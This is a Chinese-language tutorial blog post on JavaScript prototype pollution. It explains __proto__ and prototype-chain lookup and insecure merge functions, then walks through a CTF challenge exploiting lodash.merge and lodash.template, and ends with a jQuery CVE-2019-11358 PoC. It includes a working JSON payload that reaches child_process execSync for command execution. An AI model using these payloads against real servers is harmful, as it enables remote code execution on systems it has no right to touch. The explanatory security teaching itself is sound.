prototype
和__proto__
prototype
Javascript的类是通过构造函数创建的,而给类增加方法则需要使用prototype,类似于设计模式中的原型模式:
1 | function Foo() { |
__proto__
prototype
只能在类(换句话说,构造函数)上使用,如果想在实体化的类上使用则需要使用__proto__
属性,即:
1 | foo.__proto__.show == Foo.prototype.show |
原型链继承
子类将其prototype赋值为一个父类对象实例,表示其继承父类。对于子对象的属性,若其不存在,则会递归查找其父对象,举例说明:
1 | function Father() { |
对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到
null
结束。比如,Object.prototype
的__proto__
就是null
原型链污染
考虑以下情况,如果使用son.__proto__.name="son"
,那么会造成daughter.name=son
1 | // son是一个简单的JavaScript对象 |
foo.__proto__==zoo.__proto__==object
发生场景
js中的merge、clone操作:1
2
3
4
5
6
7
8
9function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
利用方法
失败的利用:1
2
3
4
5
6
7let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
成功的利用:1
2
3
4
5
6
7let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
解释:
失败利用的__proto__
实际上是使o2的__proto__
为{b:2}
,即o2.__proto__={b:2}
,这样for
遍历时指挥遍历a,b
,而不会遍历到__proto__
。
成功方法的JSON.parse会使o2的__proto__
为一个普通的键名称,所以在let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
后o2的原型是没有b属性的,而在merge后会将o2的原型(object)增加一个b属性。
例题
参考p神出的Code-Breaking 2018 Thejs 题目:
1 | //... |
source,用户输入的body传入merge方法:1
lodash.merge(data, req.body)
sink为lodash.template()和第8行:
1 | // Use a sourceURL for easier debugging. |
Function(arg1,arg2,…,funcbody),可以建立一个匿名函数,举例子更好说明:
Function.apply(object, args)可以调用该函数,可以理解为object.function(arg1, arg2),args=[arg1, arg2]
,例如:
再解释一下attempt:
1 | var attempt = baseRest(function(func, args) { |
可以看到attempt的输入参数是(func[,args]),考虑到js特性——假设function(arg1,arg2,arg3)定义的函数有三个参数,其调用时参数个数可以小于3,实际相当于func.apply
,而真正发生调用是在第8行。
有缺陷的Payload
根据上面的分析,可以通过原型污染到object,使options也有sourceURL属性,构造出如下的payload:
1 | POST / HTTP/1.1 |
解释一下payload,e=>{return ...}
是ES6的匿名函数创建语法,相当于
1 | function(e){ |
之所以将sourceURL的返回值定义为“另一个函数”,再由“另一个函数”返回系统命令执行结果,是因为原本的设计Function(importsKeys, sourceURL + 'return ' + source)
中的source就是返回一个function的,因为现在提前return,考虑幂等原理,修改后的返回也要是function
执行结果如下
注意,ping命令不能用,因为nodejs没有权限,Content-Type需要改为json(nodejs默认接受json格式)。
优化payload
上面的payload已经可以攻击成功,但是存在一个弊端就是在程序重启之前,整个原型链都会受到污染带来的影响,导致后面用户因为原型已经被污染而无法获取正常服务:
需要用for循环把之前的污染删掉,这也就成了p神帖子里面的payload:
1 | {"__proto__": {"sourceURL": "\u000areturn e => { for (var a in {}){delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('uname -a')}\u000a//"}} |
题外话,当时没想清楚为啥在return之前删除可以在后面删除污染,实际上是一个简单的先后问题,即在request的时候,我们污染了sourceURL
,接着造成代码执行(先),在执行时,污染源被清除(后),返回系统命令执行结果,这样之后的调用就不会受到原型链污染的影响了。
jQuery的原型污染(CVE-2019-11358)
jQuery 3.4.0以下版本(不包括3.4.0)存在原型污染漏洞。主要原因可以参考奇安信代码卫士的“jQuery CVE-2019-11358 原型污染漏洞分析和修复建议”一文。
Sink出现在src/core.js代码jQuery.extend函数的180-185行:
180行是一个递归调用,这里可以看到extend()参数有deep,clone,copy三个,接着target[name]=copy
中,如果name和copy可控的话就可以进行污染了。
这两个变量当然是可控的,向上看到155-160行:
arguments就是传进来的参数,先赋值给options,接着options的key就是name,value就是copy。
因此可以构造如下PoC:
1 | let a = $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) |
可以看到,之所以说jQuery原型污染的影响不大,是因为这是一个前端漏洞,即使有漏洞,攻击者也需要根据网站(源码审计)产生EXP,当然,如果网站依赖于某些类的某些属性/方法做身份验证或其他的什么事情(例如PoC里的devMode),那么后果还是很严重的。
参考链接
JavaScript原型链污染,https://xz.aliyun.com/t/2735
深入理解 JavaScript Prototype 污染攻击,https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
After three years of silence, a new jQuery prototype pollution vulnerability emerges once again,https://snyk.io/blog/after-three-years-of-silence-a-new-jquery-prototype-pollution-vulnerability-emerges-once-again/
jQuery CVE-2019-11358 原型污染漏洞分析和修复建议, https://www.anquanke.com/post/id/177093